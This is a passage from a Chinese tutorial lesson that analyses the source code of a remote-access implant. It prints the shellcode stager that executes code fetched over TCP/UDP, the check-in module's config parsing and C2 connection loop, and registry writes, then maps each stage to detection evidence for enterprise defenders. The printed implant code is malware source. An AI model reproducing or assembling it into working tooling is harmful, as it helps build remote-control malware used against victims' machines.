BYTE pe = '1'; // 防御分析:x86 UDP 标识。
#endif
int bao = 0; // 防御分析:当前分片序号。
int times = 0; // 防御分析:预计分片数量。
int alldata = 0; // 防御分析:服务端告知的总长度。
int bok = 0; // 防御分析:重组完成标记。
char* recvdbuf = NULL;
// 安全化节选:省略可直接复用的高风险网络连接与分片细节,
// 仅保留防御分析所需的数据流边界。
// 防御分析重点:每个小包被复制到 func->buff + 分片偏移,最终组装成完整代码块。
if (bok == 1)
{
// 防御分析:当分片重组完成后,UDP 分支也会把缓冲区当代码入口调用。
typedef VOID(__stdcall* CODE) (_In_ TCHAR*);
CODE fn = ((CODE(*)()) func->buff)();
fn(func->confi);
do {} while (1);
}
endudp:
if (ip)
func->freeaddrinfo(ip);
if (func->m_socket != INVALID_SOCKET)
func->closesocket(func->m_socket);
if (recvdbuf)
func->VirtualFree(recvdbuf, 0, MEM_RELEASE);
if (func->buff)
func->VirtualFree(func->buff, 0, MEM_RELEASE);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
UDP 分支对企业检测有一个额外提示:如果网络侧看到连续小包、包内有架构标识和序号字段、主机侧同进程又出现 RWX 内存和间接调用,这些证据要关联起来看。

# 11. 上线模块如何被 shellcode 接住
前面 mytcp / myudp 最后都会执行这一类逻辑:
typedef VOID(__stdcall* CODE) (_In_ TCHAR*);
CODE fn = ((CODE(*)()) func->buff)();
fn(func->confi);
2
3
对新手来说,这两行很绕。可以分成两步理解:
func->buff里放的是后续取回的代码块,不是普通字符串。- 先把
func->buff当入口执行,得到一个CODE函数指针;再把func->confi配置传给这个函数。
在上线模块里,对应入口就是 load(TCHAR* code)。它接收配置字符串,复制到全局配置区,调用 Analyze() 解析,再创建 MainThread。
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:400-408
extern "C" __declspec(dllexport) void load(TCHAR* code) // shellcode 使用加载 load
{
if (hThread)
return;
// 防御分析:shellcode 传入的 code 就是前面 func.confi 指向的完整配置字符串。
// 这里复制到上线模块自己的全局配置缓冲区。
memcpy(confi, code, lstrlen(code) * 2 + 2);
// 防御分析:解析 p1/o1/t1、p2/o2/t2、dd/cl/fz/bb/bz 等字段。
Analyze();
// 防御分析:创建上线主线程。企业侧应关注动态加载后立即创建线程和发起连接。
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Analyze 负责把配置字段读进 MyInfo。这一步解释了为什么前面主控要拼完整配置字符串。
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:118-154
void Analyze()
{
#ifndef _DEBUG
static bool isrun = false;
if (isrun)
return;
else
isrun = true;
// 防御分析:源码先反转配置字符串,再按字段标记查找。
_tcsrev(confi);
ZeroMemory(&MyInfo, sizeof(Info));
Getfindinfo(confi, _T("p1:"), MyInfo.szAddress, NULL);
Getfindinfo(confi, _T("o1:"), MyInfo.szPort, NULL);
Getfindinfo(confi, _T("t1:"), NULL, &(MyInfo.IsTcp));
Getfindinfo(confi, _T("p2:"), MyInfo.szAddress2, NULL);
Getfindinfo(confi, _T("o2:"), MyInfo.szPort2, NULL);
Getfindinfo(confi, _T("t2:"), NULL, &(MyInfo.IsTcp2));
Getfindinfo(confi, _T("p3:"), MyInfo.szAddress3, NULL);
Getfindinfo(confi, _T("o3:"), MyInfo.szPort3, NULL);
Getfindinfo(confi, _T("t3:"), NULL, &(MyInfo.IsTcp3));
Getfindinfo(confi, _T("dd:"), MyInfo.szRunSleep, NULL); // 启动后等待时间。
Getfindinfo(confi, _T("cl:"), MyInfo.szHeart, NULL); // 重连/心跳间隔。
Getfindinfo(confi, _T("fz:"), MyInfo.szGroup, NULL); // 分组。
Getfindinfo(confi, _T("bb:"), MyInfo.szVersion, NULL); // 版本。
Getfindinfo(confi, _T("bz:"), MyInfo.Remark, NULL); // 备注。
#endif
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
MainThread 是上线模块真正进入连接循环的地方。它不是执行文件管理、屏幕、键盘等具体功能,而是建立连接、发送版本标识、启动后续管理对象。
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:189-252
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
// 防御分析:启动延迟来自配置字段 dd。
Sleep(_ttoi(MyInfo.szRunSleep) * 1000);
ISocketBase* socketClient = NULL;
void* ptcp = new CTcpSocket;
void* pudp = new CUdpSocket;
while (TRUE)
{
// 防御分析:第一组和第二组地址轮换,失败后继续尝试。
if (!changeip)
{
_tcscpy_s(szAddress, MyInfo.szAddress);
_tcscpy_s(szPort, MyInfo.szPort);
IsTcp = MyInfo.IsTcp;
changeip = (!changeip);
}
else
{
_tcscpy_s(szAddress, MyInfo.szAddress2);
_tcscpy_s(szPort, MyInfo.szPort2);
IsTcp = MyInfo.IsTcp2;
changeip = (!changeip);
}
if (socketClient)
socketClient->Disconnect();
socketClient = (IsTcp == 1) ? (ISocketBase*)ptcp : (ISocketBase*)pudp;
Sleep(_ttoi(MyInfo.szHeart) * 1000);
if (!socketClient->Connect(szAddress, _ttoi(szPort)))
continue;
// 防御分析:连接成功后创建 KernelManager,并发送版本令牌。
CKernelManager manager(socketClient, MyInfo.otherset.puppet);
BYTE Token[2] = {};
Token[0] = TOKEN_GETVERSION;
#ifdef _WIN64
Token[1] = 1;
#else
Token[1] = 0;
#endif
socketClient->Send(Token, 2);
socketClient->run_event_loop();
WaitForSingleObject(manager.hWorker, INFINITE);
}
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

# 12. 上线后如何继续加载登录模块
上线模块连接成功后,会进入 CKernelManager。这里与第 13、14 课讲过的插件加载链路相接。Release 分支里有一行注释非常关键:它说明后续模块也可能用 shellcode 方式调用 DLL 的 DllMain 或导出函数。
// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:20-33
unsigned int __stdcall Loop_DllManager(void* pVoid) // 加载就运行无需参数
{
CKernelManager* pThis = (CKernelManager*)pVoid;
DWORD dwOffset = -1;
// 防御分析:在登录模块数据中寻找 "denglupeizhi" 标记,
// 然后用当前上线模块的 MyInfo 覆盖登录模块配置。
// 这说明上线配置会继续传递到登录模块。
dwOffset = memfind((char*)g_loginDllData, "denglupeizhi", g_dllSendData.DataSize, 0);
if (dwOffset != -1)
memcpy((char*)g_loginDllData + dwOffset, (char*)&MyInfo, sizeof(Info));
// 防御分析:配置还会写入注册表。企业侧可把内存加载行为和注册表写入关联。
HKEY hKey;
::RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE"), 0, KEY_WOW64_64KEY | KEY_SET_VALUE, &hKey);
::RegDeleteValue(hKey, _T("IpDates_info"));
::RegSetValueEx(hKey, _T("IpDates_info"), 0, REG_BINARY, (unsigned char*)&MyInfo, sizeof(Info));
::RegCloseKey(hKey);
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Release 分支如下。
// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:88-94
#else
// 防御分析:源码注释明确说明,release 版本使用 shellcode 方法调用各模块。
// g_loginDllData 指向的是登录模块数据,后续控制流会交给该数据区返回的入口。
// 这里属于高风险动态执行链,本课只解释防御识别,不提供运行步骤。
load lpproc = ((load(*)())g_loginDllData)();
#endif
2
3
4
5
6
7
这说明第 18 课不是孤立模块。它是后续登录模块、插件加载、内存加载链路的底层支撑之一。
# 13. x86 / x64 专门对照
| 对照项 | x86 | x64 | 防御分析 |
|---|---|---|---|
| 指针宽度 | 4 字节 | 8 字节 | 结构体偏移、函数指针和缓冲区解析不能混用 |
| PEB 访问 | FS:[0x30] | GS:[0x60] | 源码中出现这些访问常与自举解析相关 |
| 当前代码位置 | geteip32() | 直接使用 ntdll_entry | x86 需要额外取 EIP,x64 分支更直接 |
| TCP 架构标识 | "32" | "64" | 网络侧可作为架构协商特征之一 |
| UDP 架构标识 | '1' | '2' | UDP 分片流里会携带不同标识 |
| 输出路径 | Plugins\x86\执行代码.dll | Plugins\x64\执行代码.dll | 构建和生成阶段会出现双架构产物 |
| WoW64 场景 | 32 位进程运行在 64 位系统上 | 原生 64 位进程 | 不能只按操作系统位数判断,应看进程架构和载荷架构 |

# 14. 从源码到检测:企业侧怎么关联证据
本课对应的检测不是单点规则,而是多层证据关联。
| 层面 | 关注点 | 典型证据 |
|---|---|---|
| 源码侧 | PostBuildEvent、VirtualAlloc(PAGE_EXECUTE_READWRITE)、PEB 遍历、EAT 遍历、函数指针调用 | 工程文件、源码扫描、代码评审记录 |
| 构建侧 | 构建后执行 执行代码.exe,写出 执行代码.dll,再被主控读取拼接 | CI 日志、构建产物哈希、产物目录变化 |
| 文件侧 | 同时生成 _86.bin、_64.bin,文件内容包含 codemark 和配置结构 | 文件落地日志、哈希、YARA 静态特征 |
| 内存侧 | 私有内存 RWX、网络数据写入可执行内存、线程/函数入口不在正常模块中 | EDR、内存取证、VAD、线程起始地址 |
| 网络侧 | 连接后发送架构标识,随后接收较大二进制数据或 UDP 分片重组 | NetFlow、代理日志、主机网络事件 |
| 行为侧 | 动态加载后立即发起连接、发送 TOKEN_GETVERSION、继续加载登录模块 | 主机事件、网络包、应用日志关联 |

可以把完整检测逻辑写成下面的关联链:
构建日志出现 PostBuildEvent 执行
-> 生成执行代码.dll / shellcode bin
-> 主控读取该文件并追加 codemark 配置
-> 运行期出现 RWX 内存和网络 recv 写入
-> 私有内存入口被调用
-> 上线模块 load 解析配置并创建 MainThread
-> 网络侧出现版本协商和后续插件加载
2
3
4
5
6
7
# 15. 常见误区
| 误区 | 正确理解 |
|---|---|
执行代码.dll 就是普通 DLL | 这里重点是被写出的代码区间,不能只按普通 DLL 加载理解 |
codemark 是配置内容 | codemark 是定位锚点,后面才是结构体、地址和完整配置 |
只要看到 VirtualAlloc 就一定有问题 | 单独 VirtualAlloc 不够,需要关联 RWX、写入和间接执行 |
| x86 / x64 只影响编译选项 | 它还影响 PEB 偏移、指针宽度、函数指针大小、网络架构标识和后续模块选择 |
| TCP/UDP 只是通信方式不同 | 对检测来说,TCP 更像连续流,UDP 需要关注分片、序号和重组完成后的动态执行 |
# 16. 合法练习题
- 只做静态阅读:在
ShellCode_main.cpp中标出ntdll_entry、mytcp、myudp、get_kernel32_base和_tmain的位置,并说明它们在生命周期中的角色。 - 不运行任何产物:根据
BuildDlg.cpp:1449-1512画出代码区 + ShellCodeInfo + addr1 + addr2 + confi的内存布局。 - 不联网、不生成载荷:解释为什么
PAGE_EXECUTE_READWRITE + recv + 函数指针调用比单独的网络连接风险更高。 - 对比 x86/x64:说明为什么 32 位 shellcode 不能直接拿到 64 位进程里运行。
- 写一条企业检测思路:把构建后事件、双架构产物、RWX 内存、网络取数和
TOKEN_GETVERSION关联成一条告警链。
# 17. 本课小结
第 18 课把被控 shellcode 的生命周期串起来了:shellcode.vcxproj 先构建出 执行代码.exe,构建后事件运行它;_tmain 截取 ntdll_entry 到 ntdll_end 的代码区间;主控再把 ShellCodeInfo、地址和完整配置拼到代码后面;运行期入口通过 PEB/EAT 自解析 API,扫描 codemark 找配置,再通过 TCP/UDP 取回后续代码块;最后把配置传给上线模块的 load(TCHAR* code),由 MainThread 接入后续连接和登录模块加载链。
对企业安全工程来说,这一课的重点不是复现运行,而是能把源码中的高风险实现翻译成可检测、可审计的证据链:构建后执行、动态 API 解析、RWX 内存、网络数据转代码执行、配置传递和上线线程创建。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言